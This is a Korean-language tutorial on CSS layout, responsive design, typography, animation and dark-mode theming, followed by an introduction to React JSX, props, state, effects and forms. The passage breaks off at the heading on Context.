.card{ display:flex; flex-direction:column; }
.card .actions{ margin-top:auto; }
/* 그리드 안에서 정렬 */
.box{
display:grid;
place-items:center; /* 가로·세로 가운데 — 가장 짧은 방법 */
}
min-height:100vh 는 모바일에서 잘립니다.
주소창이 차지하는 높이가 스크롤에 따라 변하기 때문입니다.
100dvh(동적 뷰포트 높이)를 쓰면 실제 보이는 영역에 맞춰집니다.
구형 브라우저까지 챙기려면
min-height:100vh; min-height:100dvh; 로 두 줄 나란히 두세요 —
지원하지 않는 브라우저는 뒤 줄을 무시합니다.
Grid 에서 자주 막히는 것
| 증상 | 원인 | 해결 |
|---|---|---|
| 내용이 칸 밖으로 넘침 | 그리드 항목의 기본 min-width 가 auto | minmax(0, 1fr) 또는 자식에 min-width:0 |
| 긴 텍스트가 열을 밀어냄 | 같은 이유 | overflow-wrap:anywhere 함께 |
| 화면보다 넓어져 가로 스크롤 | 고정 minmax(260px,...) | minmax(min(260px,100%),1fr) |
gap 이 안 먹음 | 구형 브라우저 · display:block | display:grid·flex 확인 |
| 행 높이가 제각각 | 기본이 내용 높이 | grid-auto-rows:1fr 또는 subgrid |
| 순서를 바꾸니 접근성 경고 | order·grid-area 는 보이는 순서만 바꿉니다 | 키보드·스크린리더는 HTML 순서를 따릅니다 — DOM 을 고치세요 |
min-width:auto 입니다.
그리드·플렉스 항목은 “내용보다 작아지지 않는다”가 기본값이라,
안에 긴 URL 이나 넓은 표가 있으면 칸이 늘어나 레이아웃이 깨집니다.
1fr 대신 minmax(0, 1fr) 을 쓰는 습관 하나로
이 부류의 버그가 통째로 사라집니다.
position 과 z-index
"z-index 9999 인데 안 올라와요" — 쌓임 맥락 때문입니다.
position 다섯 가지
| 값 | 기준 |
|---|---|
static | 기본. top/left 안 먹습니다 |
relative | 원래 자리 기준으로 이동. 자리는 그대로 차지 |
absolute | 가장 가까운 position≠static 조상 기준. 자리를 비웁니다 |
fixed | 화면 기준. 스크롤해도 고정 |
sticky | 스크롤하다 정해진 위치에서 붙습니다 |
/* sticky 헤더 — 부모에 overflow 가 있으면 안 붙습니다 */
.thead{ position: sticky; top: 0; z-index: 2; background: white; }
/* 부모에 기준점 주기 */
.card{ position: relative; }
.badge{ position: absolute; top: 8px; right: 8px; }
z-index 가 안 먹는 이유
/* 아래 속성들은 '새 쌓임 맥락'을 만듭니다.
그 안의 z-index 는 아무리 커도 '그 상자 안에서만' 유효합니다. */
transform / filter / opacity(1 미만) / will-change
position:fixed / isolation:isolate / contain:paint
/* ✗ 안 되는 상황 */
.parent{ transform: translateZ(0); } /* ← 여기서 갇힘 */
.child { z-index: 9999; } /* parent 밖으로 못 나감 */
/* ✓ 해결 — 모달은 최상위로 옮긴다 */
document.body.appendChild(modal);
/* 또는 아예 top-layer 를 쓰는 <dialog> / popover 사용 */
transform·opacity·filter 가 있는지 보세요.
거의 항상 그것 때문입니다.
반응형 — 모바일 우선
좁은 화면을 기본으로 쓰고, 넓어질 때 더하는 방향이 코드가 짧습니다.
미디어 쿼리
/* 기본 = 모바일 */
.grid{ display:grid; grid-template-columns:1fr; gap:16px; }
/* 넓어지면 더한다 (min-width) */
@media (min-width: 720px){
.grid{ grid-template-columns: repeat(2,1fr); }
}
@media (min-width: 1100px){
.grid{ grid-template-columns: repeat(3,1fr); }
}
/* 기기 특성으로 가르기 — 화면 크기보다 정확합니다 */
@media (hover: hover){ .btn:hover{ background:#eee; } }
@media (prefers-reduced-motion: reduce){
*{ animation:none !important; transition:none !important; }
}
@media (prefers-color-scheme: dark){ :root{ --bg:#111; } }
:hover 를 주면 탭했을 때 스타일이 남아 붙습니다.
@media (hover:hover) 로 감싸면 마우스가 있는 기기에만 적용됩니다.
컨테이너 쿼리
/* 화면이 아니라 '부모 상자' 크기로 판단합니다.
같은 카드를 사이드바에도, 본문에도 쓸 때 정답입니다. */
.card-area{ container-type: inline-size; }
@container (min-width: 400px){
.card{ display:grid; grid-template-columns:120px 1fr; }
}
반응형 점검 목록 — 어디를 확인해야 하나
| 확인 | 깨질 때의 처방 |
|---|---|
| 360px (작은 폰)에서 가로 스크롤이 없는가 | 고정 width 를 max-width:100% 로 · 긴 단어 overflow-wrap |
| 이미지·영상이 상자를 넘지 않는가 | img{max-width:100%;height:auto} — 리셋에 포함시키세요 |
| 표가 좁은 화면에서 터지지 않는가 | 표를 overflow-x:auto 래퍼로 감싸 표만 스크롤 |
| 터치 대상이 충분히 큰가 | 버튼·링크 최소 44×44px — 패딩으로 확보 |
| 가로 회전(landscape)에서도 쓸 만한가 | 높이 고정값을 min-height 로 · 100dvh 확인 |
| 브라우저 확대 200%에서 안 깨지는가 | 글자 px 고정 제거(04번) · 겹침은 대개 고정 높이 탓 |
글자 다루기
읽기 쉬운 글은 줄 길이와 줄 간격에서 갈립니다.
body{
font-family: system-ui, -apple-system, "Segoe UI",
"Malgun Gothic", sans-serif; /* 시스템 폰트 = 0바이트 */
line-height: 1.7; /* 한글은 1.6~1.8 이 편합니다 */
word-break: keep-all; /* ★ 한글 단어 중간에서 안 끊김 */
overflow-wrap: break-word; /* 긴 URL 은 강제로 줄바꿈 */
}
.prose{ max-width: 70ch; } /* 한 줄 70자 — 넘으면 눈이 다음 줄을 놓칩니다 */
/* 웹폰트는 글자가 안 보이는 시간을 줄이는 게 핵심 */
@font-face{
font-family: "Pretendard";
src: url("/pretendard.woff2") format("woff2");
font-display: swap; /* 먼저 시스템 폰트로 보여 주고 교체 */
unicode-range: U+AC00-D7A3, U+0020-007E; /* 필요한 글자만 */
}
/* 여러 줄 말줄임 */
.clamp2{
display:-webkit-box; -webkit-box-orient:vertical;
-webkit-line-clamp:2; overflow:hidden;
}
unicode-range 로 쪼개거나 서브셋 폰트를 쓰고,
본문은 시스템 폰트로 두는 것도 충분히 좋은 선택입니다.
크기 체계 — 값을 그때그때 정하지 마세요
/* 단계를 미리 정하면 화면 전체에 리듬이 생깁니다 */
:root{
--fs-sm: 0.875rem; /* 14 — 보조 텍스트 */
--fs-base: 1rem; /* 16 — 본문 */
--fs-lg: 1.25rem; /* 20 — 소제목 */
--fs-xl: 1.625rem; /* 26 — 섹션 제목 */
--fs-2xl: clamp(2rem, 5vw, 3rem); /* 히어로 — 화면 따라 */
}
h1{ font-size: var(--fs-2xl); line-height: 1.2; }
h2{ font-size: var(--fs-xl); line-height: 1.3; }
p { font-size: var(--fs-base); }
small{ font-size: var(--fs-sm); }
한글 조판에서 자주 틀리는 것
| 증상 | 처방 |
|---|---|
| 단어가 중간에서 뚝 끊김 | word-break: keep-all — 한글 필수 |
| 긴 URL 이 상자를 뚫음 | overflow-wrap: break-word 를 함께 |
| 제목이 한 글자만 다음 줄로 | text-wrap: balance — 줄을 고르게 나눔 |
| 본문 마지막 줄 한 단어 고아 | text-wrap: pretty |
| 숫자 폭이 들쭉날쭉 (표·타이머) | font-variant-numeric: tabular-nums |
| 영문 대문자 제목 간격 답답 | letter-spacing: 0.02em — 한글 본문엔 주지 마세요 |
전환과 애니메이션
움직이면 안 되는 속성을 움직이면 버벅입니다.
transition · animation
.btn{
transition: background-color .2s ease, transform .2s ease;
}
.btn:active{ transform: scale(.97); }
@keyframes fadeUp{
from{ opacity:0; transform: translateY(12px); }
to { opacity:1; transform: none; }
}
.card{ animation: fadeUp .4s ease both; }
/* 어지러움을 느끼는 사용자를 위한 필수 예의 */
@media (prefers-reduced-motion: reduce){
*,*::before,*::after{
animation-duration:.01ms !important;
transition-duration:.01ms !important;
}
}
부드러운 것 vs 끊기는 것
| 속성 | 비용 |
|---|---|
transform·opacity | 싸다. GPU 가 처리 (60fps) |
filter | 보통 |
width·height·top·margin | 비쌉니다. 매 프레임 레이아웃 재계산 |
box-shadow(큰 값) | 비쌈 — 대신 그림자 레이어를 opacity 로 |
/* ✗ 위치를 left 로 옮기면 버벅입니다 */
.move{ transition:left .3s; left:100px; }
/* ✓ transform 으로 */
.move{ transition:transform .3s; transform:translateX(100px); }
/* 요즘 문법 — display:none 과의 전환도 가능해졌습니다 */
.modal{
transition: opacity .2s, display .2s allow-discrete;
}
복사해 쓰는 마이크로 인터랙션 3종
/* ① 스크롤하면 나타나는 섹션 — JS 한 줄 없이 */
@keyframes reveal{ from{ opacity:0; transform:translateY(24px); } }
.sec{
animation: reveal linear both;
animation-timeline: view(); /* 뷰포트 진입에 연동 */
animation-range: entry 0% entry 40%;
}
/* ② 버튼 눌림 — active 만으로 충분히 살아납니다 */
.btn{ transition: transform .08s ease, box-shadow .2s ease; }
.btn:hover{ box-shadow: 0 4px 14px rgb(0 0 0 / .12); }
.btn:active{ transform: scale(.96); }
/* ③ 스켈레톤 로딩 — 배경 그라데이션이 흐릅니다 */
.skeleton{
background: linear-gradient(90deg, #eee 25%, #f7f7f7 45%, #eee 65%);
background-size: 200% 100%;
animation: shimmer 1.4s infinite;
border-radius: 6px; color: transparent;
}
@keyframes shimmer{ to{ background-position: -200% 0; } }
ease-out, 퇴장은 ease-in, 이동은 ease-in-out 이 자연스럽습니다.
다크 모드와 테마
색을 직접 쓰지 않고 변수로 두면 테마는 저절로 됩니다.
/* 1) 의미로 이름을 짓습니다 — --white 가 아니라 --bg */
:root{
--bg:#ffffff; --fg:#1a1a1a; --muted:#666; --line:#e5e5e5;
color-scheme: light; /* 스크롤바·기본 폼도 함께 밝게 */
}
/* 2) 시스템 설정을 따름 */
@media (prefers-color-scheme: dark){
:root:not([data-theme="light"]){
--bg:#0f1115; --fg:#e8e8ea; --muted:#9aa0a6; --line:#23262d;
color-scheme: dark;
}
}
/* 3) 사용자가 직접 고른 값이 이깁니다 */
:root[data-theme="dark"]{
--bg:#0f1115; --fg:#e8e8ea; --muted:#9aa0a6; --line:#23262d; color-scheme: dark;
}
body{ background: var(--bg); color: var(--fg); }
// 토글 — 고른 값을 기억해 둡니다
const set = (t) => {
document.documentElement.dataset.theme = t;
try{ localStorage.setItem("theme", t); }catch(e){}
};
// 첫 로드에 '깜빡임'을 막으려면 이 코드를 <head> 안에서 먼저 실행
#e8e8ea 정도로 낮추고, 배경도 순흑 대신 #0f1115 처럼 살짝 띄우세요.
대비는 4.5:1 이상을 지켜야 읽힙니다.
첫 로드 깜빡임(FOUC) 없애기
head 안에서 먼저 결정합니다
<head>
<!-- ★ CSS 보다 먼저, 인라인으로. 외부 파일이면 이미 늦습니다 -->
<script>
(function () {
try {
var saved = localStorage.getItem("theme"); // "light" | "dark" | null
var prefersDark = matchMedia("(prefers-color-scheme: dark)").matches;
var theme = saved || (prefersDark ? "dark" : "light");
document.documentElement.dataset.theme = theme;
document.documentElement.style.colorScheme = theme; // 스크롤바·기본 폼도
} catch (e) { /* 사생활 보호 모드 등 — 기본값으로 진행 */ }
})();
</script>
<link rel="stylesheet" href="/style.css">
</head>
// 토글 — 시스템 설정으로 되돌리는 선택지도 주세요
const root = document.documentElement;
function setTheme(t) { // "light" | "dark" | "system"
if (t === "system") {
localStorage.removeItem("theme");
t = matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light";
} else {
localStorage.setItem("theme", t);
}
root.dataset.theme = t;
root.style.colorScheme = t;
}
// 사용자가 직접 고르지 않았을 때만 시스템 변경을 따라갑니다
matchMedia("(prefers-color-scheme: dark)").addEventListener("change", (e) => {
if (!localStorage.getItem("theme")) setTheme("system");
});
<body> 끝이나 외부 파일에 두면 깜빡입니다.
브라우저가 밝은 화면을 먼저 그린 뒤 어둡게 바꾸기 때문입니다.
<head> 안에 인라인으로 두어야 첫 페인트 전에 결정됩니다.
SSR 프레임워크(Next·Nuxt)에도 이 목적의 전용 슬롯이 있습니다.
다크 모드에서 놓치기 쉬운 것
| 대상 | 흔한 문제 | 해결 |
|---|---|---|
| 이미지·로고 | 흰 배경 PNG 가 그대로 | 테마별 이미지 · SVG 에 currentColor |
| 그림자 | 어두운 배경에서 안 보임 | 밝은 테두리(--line)로 대체 |
| 스크롤바·기본 폼 | 흰색 그대로 | color-scheme 선언 |
| 코드 하이라이트 | 대비가 무너짐 | 테마별 색 세트를 따로 |
| 차트·지도 | 배경이 흰색 | 라이브러리 테마 옵션 연동 |
| iframe·임베드 | 제어 불가 | 가능하면 파라미터로 테마 전달 |
| 순백 텍스트 | 눈부심·번짐 | #e8e8ea 수준으로 |
/* 이미지 — 테마에 따라 다른 파일 (JS 없이) */
.logo{ content: url("/logo-light.svg"); }
:root[data-theme="dark"] .logo{ content: url("/logo-dark.svg"); }
/* SVG 아이콘은 색을 상속하게 만들어 두면 테마가 저절로 따라옵니다 */
.icon{ fill: currentColor; }
/* 그림자 대신 테두리 — 다크에서 훨씬 깔끔합니다 */
.card{ box-shadow: var(--shadow-1); border:1px solid var(--line); }
:root[data-theme="dark"] .card{ --shadow-1: none; }
/* 사용자가 움직임을 줄이도록 설정했다면 존중하세요 */
@media (prefers-reduced-motion: reduce){
*, *::before, *::after{
animation-duration:.01ms !important;
transition-duration:.01ms !important;
scroll-behavior:auto !important;
}
}
/* 테마 전환에 트랜지션을 걸면 오히려 번져 보입니다 — 색만 짧게 */
:root{ transition: background-color .15s, color .15s; }
요즘 CSS
전처리기 없이도 되는 것들이 많아졌습니다.
중첩 · :has · @layer
/* 중첩 — SCSS 없이 브라우저가 지원 */
.card{
padding: 16px;
& > .title{ font-weight: 700; }
&:hover{ background: #f6f6f8; }
@media (min-width: 720px){ padding: 24px; }
}
/* 부모 선택 — JS 로 클래스 붙이던 일이 사라집니다 */
.field:has(input:invalid){ border-color: crimson; }
.form:has(:focus-visible){ outline: 2px solid var(--brand); }
/* 스크롤 스냅 (캐러셀) */
.slider{ display:flex; overflow-x:auto; scroll-snap-type:x mandatory; }
.slide { flex:0 0 100%; scroll-snap-align:center; }
알아 두면 좋은 것
/* 종횡비 고정 (패딩 트릭 불필요) */
.thumb{ aspect-ratio: 16 / 9; object-fit: cover; }
/* 앵커로 이동할 때 헤더에 가리는 문제 */
.sec{ scroll-margin-top: 72px; }
/* 화면 밖 콘텐츠 렌더 미루기 (긴 페이지 성능) */
.section{ content-visibility: auto; contain-intrinsic-size: 600px; }
/* 색 공간 — 더 선명한 색 */
.brand{ color: oklch(65% 0.2 275); }
/* 논리 속성 — 다국어(RTL)에서 좌우가 자동으로 뒤집힘 */
.box{ margin-inline: auto; padding-block: 12px; }
scroll-margin-top 은 고정 헤더가 있는 사이트의 필수 속성입니다.
없으면 #앵커 로 이동했을 때 제목이 헤더 뒤에 숨습니다.
어떻게 관리할 것인가
규모가 커지면 문법보다 규칙이 중요해집니다.
| 방식 | 성격 | 맞는 곳 |
|---|---|---|
| 일반 CSS + BEM | .card__title--big 처럼 이름으로 범위를 표시 | 작은 팀, 정적 사이트 |
| CSS Modules | 빌드가 클래스명을 고유하게 바꿔 충돌 원천 차단 | React·Vue 컴포넌트 |
| Tailwind | 미리 만든 유틸 클래스 조합. 이름 짓기가 사라집니다 | 빠른 개발, 디자인 시스템이 정해진 곳 |
Vue <style scoped> | 그 컴포넌트에만 적용 | Vue SFC (기본값처럼 씀) |
| CSS-in-JS | 런타임 비용이 있어 예전만큼 권하지 않습니다 | 기존 프로젝트 유지보수 |
!important 는 0개를 목표로 ④ 컴포넌트 밖으로 새는 스타일 금지.
box-sizing, 기본 margin 제거, img{max-width:100%;display:block},
:focus-visible 유지 정도면 충분합니다 —
과한 reset 은 기본 접근성까지 지워 오히려 손해입니다.
그대로 시작해도 되는 기본 골격
/* styles/base.css — 이 순서로 레이어를 깝니다 */
@layer reset, tokens, base, components, utilities;
@layer reset{
*,*::before,*::after{ box-sizing:border-box; margin:0; }
img,video{ max-width:100%; height:auto; display:block; }
button,input,select{ font:inherit; color:inherit; }
}
@layer tokens{
:root{
--bg:#fff; --fg:#1a1a1a; --line:#e5e5e5; --brand:#6a5cff;
--gap:16px; --radius:10px;
--fs-base:1rem; --fs-lg:1.25rem;
}
}
@layer base{
body{
background:var(--bg); color:var(--fg);
font-family:system-ui, "Malgun Gothic", sans-serif;
line-height:1.7; word-break:keep-all;
}
}
배우는 순서 — 로드맵
- 1단계 — 01·03(왜 안 먹히는가) + 06(Flex)로 내비게이션 바 + 카드 목록 만들기
- 2단계 — 07(Grid) + 09(반응형)로 페이지 전체 레이아웃. 360px 부터 데스크탑까지
- 3단계 — 05(변수) + 12(다크 모드)로 테마 시스템
- 4단계 — 10(글자) + 11(애니메이션)로 완성도. 여기서 "만든 티"가 사라집니다
DOM 을
고치지 않고
상태를
바꾼다
리액트의 전부는 한 문장입니다 — 화면 = f(상태). DOM 을 직접 만지는 대신 상태를 바꾸면 화면이 따라옵니다. 이 탭은 왜 다시 그려지는가를 축으로 훅과 성능을 정리했습니다. 여기까지 마치면 리렌더 원인을 스스로 추적하고 불필요한 최적화를 걷어낼 수 있습니다.
리액트가 하는 일
직접 DOM 을 고치던 코드가 왜 감당이 안 되는지부터 봅니다.
직접 고치면
// 장바구니에 담을 때마다 손봐야 할 곳
count++;
document.querySelector("#badge").textContent = count;
document.querySelector("#total").textContent = price * count;
document.querySelector("#btn").disabled = count === 0;
document.querySelector("#empty").hidden = count > 0;
// … 화면이 늘수록 '고쳐야 할 자리'가 같이 늘어납니다
// 하나라도 빠뜨리면 화면끼리 값이 어긋납니다
리액트로
function Cart(){
const [count, setCount] = useState(0);
return (
<>
<span>{count}</span>
<span>{price * count}</span>
<button disabled={count === 0}>주문</button>
{count === 0 && <p>비어 있습니다</p>}
<button onClick={() => setCount(count + 1)}>담기</button>
</>
);
}
// count 하나만 바꾸면 관련된 화면이 '전부 알아서' 맞춰집니다
JSX — HTML 처럼 생긴 JS
HTML 이 아니라 함수 호출입니다. 그래서 JS 규칙을 따릅니다.
const name = "현우";
const items = ["가", "나"];
const el = (
<div className="card" onClick={handle}> {/* class ✗ → className */}
<h2>{name}님</h2> {/* {} 안은 JS 식 */}
<label htmlFor="id">아이디</label> {/* for ✗ → htmlFor */}
<input id="id" defaultValue="hi" /> {/* 닫는 / 필수 */}
{/* 조건 */}
{name ? <p>환영합니다</p> : null}
{items.length > 0 && <p>{items.length}개</p>}
{/* 반복 */}
<ul>{items.map((v) => <li key={v}>{v}</li>)}</ul>
{/* 스타일은 객체 · 단위는 문자열로 */}
<p style={{ marginTop: 8, color: "red" }}>주의</p>
</div>
);
| 함정 | 설명 |
|---|---|
{0 && <div/>} | 화면에 0 이 찍힙니다. {count > 0 && …} 로 불리언을 만들어 쓰세요 |
| 루트가 둘 이상 | <>…</>(Fragment)로 감쌉니다 |
| 주석 | JSX 안에서는 {/* … */} |
if 문 | JSX 안에는 식만 들어갑니다. 삼항이나 미리 변수로 빼세요 |
| 공백·줄바꿈 | 줄바꿈은 무시됩니다. 띄우려면 {" "} |
JSX 의 정체 — 변환 결과를 한 번 보면 규칙이 이해됩니다
// 이렇게 쓰면
<div className="card">
<h2>{name}님</h2>
</div>
// 빌드 도구가 이렇게 바꿉니다 (그냥 함수 호출)
jsx("div", {
className: "card",
children: jsxs("h2", { children: [name, "님"] }), // 자식이 여럿이면 jsxs
});
class대신className— JS 예약어와 충돌하기 때문- 속성이 camelCase — 객체의 키이기 때문 (
onClick·tabIndex) if를 못 쓰는 이유 — 인자 자리에는 식만 올 수 있기 때문- 루트가 하나여야 하는 이유 — 함수는 하나만 반환하기 때문
조건 분기 패턴 정리
// 셋 중 상황에 맞는 것을 — 전부 같은 일입니다
// ① 삼항 — 둘 중 하나
{loggedIn ? <Profile /> : <LoginBtn />}
// ② && — 있거나 없거나
{error && <Alert msg={error} />}
// ③ 변수로 미리 — 분기가 3개 이상이면 이게 깨끗
let body;
if (isPending) body = <Skeleton />;
else if (error) body = <Alert msg={error} />;
else if (!data.length) body = <Empty />;
else body = <List rows={data} />;
return <section>{body}</section>;
컴포넌트와 props
props 는 부모가 준 값입니다. 자식이 바꿀 수 없습니다.
기본
function Badge({ text, tone = "info", onClose }){
return (
<span className={`badge ${tone}`}>
{text}
{onClose && <button onClick={onClose}>✕</button>}
</span>
);
}
// 사용
<Badge text="신규" />
<Badge text="마감" tone="warn" onClose={() => hide()} />
// children — 태그 사이에 넣은 것
function Card({ title, children }){
return <div className="card"><h3>{title}</h3>{children}</div>;
}
<Card title="공지"><p>내용</p></Card>
규칙
| 규칙 | 이유 |
|---|---|
| 컴포넌트 이름은 대문자로 | 소문자는 <div> 같은 HTML 태그로 취급됩니다 |
| props 를 수정 금지 | 부모의 값입니다. 바꾸려면 부모가 준 함수를 호출하세요 |
| 순수하게 유지 | 같은 props 면 같은 결과. 렌더 중 바깥 변수를 고치면 안 됩니다 |
| 컴포넌트 안에 컴포넌트 정의 ✗ | 렌더마다 새 타입이 되어 상태가 초기화됩니다 |
// ✗ 이러면 입력값이 매번 사라집니다
function Page(){
function Row(){ return <input />; } // 렌더마다 새로 만들어짐
return <Row />;
}
// ✓ 바깥으로 빼세요
언제 쪼개는가 — 파일 크기가 기준이 아닙니다
- 따로 다시 그려져야 할 때 — 검색 입력마다 페이지 전체가 렌더되면, 입력창을 자식으로 분리해 렌더 범위를 좁힙니다
- 두 군데 이상에서 쓸 때 — 버튼·배지·모달
- 이름을 붙일 수 있을 때 — "이 덩어리는 주문 요약이다" 싶으면
<OrderSummary />로. JSX 가 문장처럼 읽히게 됩니다 - 반대로, 한 번 쓰는 40줄짜리를 습관적으로 쪼개지 마세요 — props 배선만 늘어납니다
// 쪼갠 뒤의 목표 — 부모가 '문장'으로 읽힌다
function CheckoutPage(){
return (
<main>
<OrderSummary items={items} />
<AddressForm value={addr} onChange={setAddr} />
<PayButton disabled={!valid} onPay={submit} />
</main>
);
}
props 설계 요령
// ✗ 낱개로 다 받기 — 부모·자식이 같이 수정됩니다
<UserCard name={u.name} age={u.age} avatar={u.avatar} … />
// ✓ 도메인 객체는 통째로
<UserCard user={u} />
// ✗ 불리언 스위치가 늘어나는 신호
<Button isPrimary isLarge isOutline … />
// ✓ 종류는 문자열 하나로
<Button variant="primary" size="lg" />
// 이벤트는 on+동사, 값+변경 함수는 짝으로
<Modal open={open} onClose={() => setOpen(false)} />
<Select value={v} onChange={setV} />
// 나머지는 그대로 흘려보내기
function Input({ label, ...rest }){
return <label>{label}<input {...rest} /></label>;
}
value/onChange·open/onClose)과
같은 모양을 유지하면 처음 보는 사람도 쓸 수 있습니다.
state — 바뀌는 값
state 를 바꾸면 그 컴포넌트를 다시 그립니다.
기본과 함정
const [n, setN] = useState(0);
// ✗ 연속 호출이 한 번만 먹습니다
setN(n + 1); setN(n + 1); // n=0 이면 둘 다 1 → 결과 1
// ✓ 이전 값을 받아서
setN((p) => p + 1); setN((p) => p + 1); // 결과 2
// ✗ 직접 수정 — 같은 객체라 '안 바뀐 걸로' 봅니다
list.push(x); setList(list);
// ✓ 새 배열·새 객체로
setList([...list, x]);
setList(list.filter((v) => v.id !== id));
setList(list.map((v) => v.id === id ? { ...v, done:true } : v));
setUser({ ...user, name: "새 이름" });
setN(1); console.log(n) 은 이전 값을 찍습니다 —
새 값은 다음 렌더부터 보입니다.
state 로 두지 말아야 할 것
// ✗ props 를 그대로 state 에 복사 (동기화가 어긋납니다)
const [name, setName] = useState(props.name);
// ✗ 계산으로 나오는 값을 state 로
const [total, setTotal] = useState(0);
useEffect(() => setTotal(items.length), [items]);
// ✓ 그냥 렌더할 때 계산하세요
const total = items.length;
const visible = items.filter((v) => !v.done);
언제 다시 그리는가
"왜 이게 또 렌더되지?"의 답은 세 가지뿐입니다.
다시 그리는 조건
1. 자기 state 가 바뀜
2. 부모가 다시 그려짐 ← 가장 많이 놓치는 것
3. 구독 중인 context 값이 바뀜
★ props 가 안 바뀌어도 부모가 그려지면 자식도 그려집니다
(React.memo 로 감싸야 멈춥니다)
// 렌더 흐름 확인 — 개발 중에만
console.log("render:", Component.name);
// React 19 컴파일러를 켜면 아래 최적화 대부분이 자동입니다
// 켜기 전에는 '측정한 뒤에만' 손대세요
| 오해 | 사실 |
|---|---|
| 렌더 = DOM 갱신 | 다릅니다. 렌더는 "무엇을 그릴지 계산"이고, 바뀐 부분만 DOM 에 반영됩니다 |
| 렌더가 많으면 무조건 느리다 | 대부분은 싸다. 진짜 문제는 렌더 안의 무거운 계산입니다 |
| 개발 모드에서 두 번 도는 건 버그 | StrictMode 가 일부러 두 번 실행해 부작용을 드러냅니다. 배포본은 한 번 |
memo 를 뿌리면 코드만 복잡해지고 느려집니다.
useEffect — 대부분 필요 없다
화면 밖 세계와 동기화할 때만 씁니다.
쓰지 말아야 할 때
// ✗ 계산 결과를 state 에 넣기
useEffect(() => { setFull(first + " " + last); }, [first, last]);
// ✓ 그냥 계산
const full = first + " " + last;
// ✗ props 가 바뀌면 state 초기화
useEffect(() => { setSel(null); }, [userId]);
// ✓ key 로 컴포넌트를 새로 만들기
<Profile key={userId} … />
// ✗ 이벤트에 대한 반응을 effect 로
useEffect(() => { if (submitted) toast(); }, [submitted]);
// ✓ 이벤트 핸들러 안에서 바로
function onSubmit(){ save(); toast(); }
써야 할 때
useEffect(() => {
const c = new AbortController();
fetch(`/api/user/${id}`, { signal: c.signal })
.then((r) => r.json())
.then(setUser)
.catch((e) => { if (e.name !== "AbortError") setErr(e); });
return () => c.abort(); // ★ 정리 — 떠날 때 취소
}, [id]);
// 구독 · 타이머 · 바깥 라이브러리
useEffect(() => {
const on = () => setW(innerWidth);
addEventListener("resize", on);
return () => removeEventListener("resize", on);
}, []);
useRef — 렌더와 무관한 저장소 · DOM 손잡이
// ① DOM 을 직접 만져야 할 때 (포커스 · 스크롤 · 재생)
function SearchBox(){
const inputRef = useRef(null);
useEffect(() => { inputRef.current.focus(); }, []); // 열리면 포커스
return <input ref={inputRef} />;
}
// ② "바뀌어도 다시 그릴 필요 없는 값" 보관
function Timer(){
const idRef = useRef(null); // 타이머 id — 화면과 무관
const start = () => { idRef.current = setInterval(tick, 1000); };
const stop = () => clearInterval(idRef.current);
}
경쟁 상태 — effect 로 fetch 할 때의 대표 사고
// id 가 1 → 2 로 빠르게 바뀌면:
// 요청1(느림) · 요청2(빠름) 순서로 응답이 오면
// 화면에는 ★ 요청1(옛날 것) 이 남습니다
useEffect(() => {
let alive = true; // 이 렌더의 생존 플래그
fetch(`/api/user/${id}`)
.then(r => r.json())
.then(d => { if (alive) setUser(d); }); // 죽은 요청은 무시
return () => { alive = false; }; // id 가 바뀌면 이전 것 무효화
}, [id]);
리스트와 key
key 를 index 로 주면 입력값이 엉뚱한 줄로 옮겨갑니다.
{/* ✗ 순서가 바뀌거나 중간이 지워지면 어긋납니다 */}
{items.map((it, i) => <Row key={i} item={it} />)}
{/* ✓ 그 데이터를 가리키는 고유 값 */}
{items.map((it) => <Row key={it.id} item={it} />)}
index 를 key 로 썼을 때 실제로 벌어지는 일
[0] 사과 ← 체크함
[1] 바나나
[2] 포도
'사과'를 지우면 → [0] 바나나 [1] 포도
리액트는 "0번은 그대로네" 라고 판단해
★ 사과에 있던 체크·입력값이 '바나나' 에 남습니다
<Form key={userId} /> 처럼 주면
userId 가 바뀔 때 컴포넌트를 통째로 새로 만듭니다.
"props 바뀌면 state 초기화" 를 effect 없이 해결하는 정석입니다.
폼 다루기
입력 하나하나를 state 로 두는 게 항상 정답은 아닙니다.
제어 컴포넌트
const [form, setForm] = useState({ email:"", pw:"" });
const onChange = (e) =>
setForm((p) => ({ ...p, [e.target.name]: e.target.value }));
<input name="email" value={form.email} onChange={onChange} />
<input name="pw" type="password" value={form.pw} onChange={onChange} />
{/* 값에 따라 즉시 반응해야 할 때 좋습니다 (실시간 검증·미리보기) */}
value 를 주고 onChange 를 안 주면
입력이 안 되는 칸이 됩니다.
읽기 전용이면 readOnly, 초기값만 주려면 defaultValue.
비제어 · 폼 액션
{/* 글자마다 렌더하지 않아 큰 폼에 유리합니다 */}
function Login(){
const ref = useRef(null);
const submit = (e) => {
e.preventDefault();
const data = Object.fromEntries(new FormData(ref.current));
login(data);
};
return (
<form ref={ref} onSubmit={submit}>
<input name="email" defaultValue="" />
<button>로그인</button>
</form>
);
}
{/* React 19 — action 과 대기 상태 */}
function Save(){
const [state, action, pending] = useActionState(saveAction, null);
return (
<form action={action}>
<input name="title" />
<button disabled={pending}>{pending ? "저장 중…" : "저장"}</button>
</form>
);
}
검증 — 브라우저 기본 기능부터 쓰세요
{/* JS 한 줄 없이 되는 것들 */}
<input name="email" type="email" required />
<input name="pw" minLength={8} required />
<input name="age" type="number" min={14} max={120} />
<input name="code" pattern="[A-Z]{3}-\d{4}" title="예: ABC-1234" />
{/* 제출 시점에 한 번에 검사 + 첫 오류로 포커스 */}
const submit = (e) => {
e.preventDefault();
const form = e.currentTarget;
if (!form.checkValidity()) {
form.reportValidity(); // 브라우저 말풍선 표시
return;
}
save(Object.fromEntries(new FormData(form)));
};
에러 표시 UX — 언제 보여 줄 것인가
// "만지기 전엔 조용히" — touched 패턴
const [email, setEmail] = useState("");
const [touched, setTouched] = useState(false);
const error = touched && !email.includes("@")
? "이메일 형식이 아닙니다" : null;
<input
value={email}
onChange={(e) => setEmail(e.target.value)}
onBlur={() => setTouched(true)} // ★ 떠날 때부터 검사
aria-invalid={!!error}
/>
{error && <p role="alert" className="err">{error}</p>}
- 입력 중에는 빨간 글씨를 띄우지 마세요 — 첫 글자부터 "틀렸다"고 혼내는 폼이 됩니다
- 떠날 때(blur) 검사 → 고치는 동안은 즉시 통과로 바꿔 주기
- 제출 실패 시 첫 오류 칸으로 포커스 이동
- 서버 오류(중복 이메일 등)는 해당 칸 옆에 붙이세요 — 상단 배너만 있으면 못 찾습니다
상태 공유하기
전역 상태로 도망가기 전에 끌어올리기부터 검토하세요.
1단계 — 끌어올리기
// 두 자식이 같은 값을 봐야 하면 '공통 부모'로 올립니다
function Parent(){
const [q, setQ] = useState("");
return (
<>
<Search value={q} onChange={setQ} />
<Result query={q} />
</>
);
}
2단계 — Context
